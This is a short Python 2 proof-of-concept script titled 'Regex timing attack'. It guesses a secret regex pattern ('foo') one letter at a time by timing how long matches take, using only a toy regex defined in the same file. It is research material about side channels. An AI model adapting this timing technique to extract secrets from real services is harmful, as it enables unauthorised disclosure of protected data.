Regex timing attack

regvex.py

# Copyright 2010 Cody Brocious (Daeken / [email protected])
# Distribution under the terms of the GPLv2 is a-ok.

import math, re, time, timeit

def mean(*vals):
	return sum(vals) / float(len(vals))

def stddev(*vals):
	_mean = mean(*vals)
	
	avgdiff = sum((val - _mean) ** 2 for val in vals) / float(len(vals))
	return _mean, math.sqrt(avgdiff)

def filterOutliers(vals, devs):
	_mean, sd = stddev(*vals)
	sd *= devs
	
	return [val for val in vals if abs(val - _mean) < sd]

def findClosest(vals, count):
	mean_ = mean(*vals)
	nvals = []
	for i in range(count):
		best = None
		for i, val in enumerate(vals):
			diff = abs(val - mean_)
			if best == None or best[1] > diff:
				best = val, diff, i
		nvals.append(best[0])
		vals = vals[:best[2]] + vals[best[2]+1:]
	return nvals

alphabet = map(chr, xrange(ord('a'), ord('z') + 1))
toMatch = 'foo'
regex = re.compile('^' + toMatch + '$')

def main():
	tries = 0.0
	matches = 0
	length = len(toMatch)
	while True:
		chars = ''
		for i in range(len(chars), length):
			if len(chars) + 1 < length:
				padding = '\0' * (length - len(chars) - 1)
			else:
				padding = ''
			top = None
			atimes = {}
			for letter in alphabet:
				times = timeit.repeat('regex.match(' + `chars + letter + padding` + ')', 'from regvex import regex', repeat=1000, number=100) # 50, 6 == best for 1 char
				#print letter, mean(*times), 
				times.sort()
				cmean = mean(*times[int(len(times)*0.2):int(len(times)*0.4)]) # 0.3 best for 1 char
				if top == None or cmean > top[1]:
					top = letter, cmean
			
			chars += top[0]
			print chars, 
		tries += 1
		if chars == toMatch:
			matches += 1
		print matches / tries * 100.0, matches, tries

if __name__=='__main__':
	main()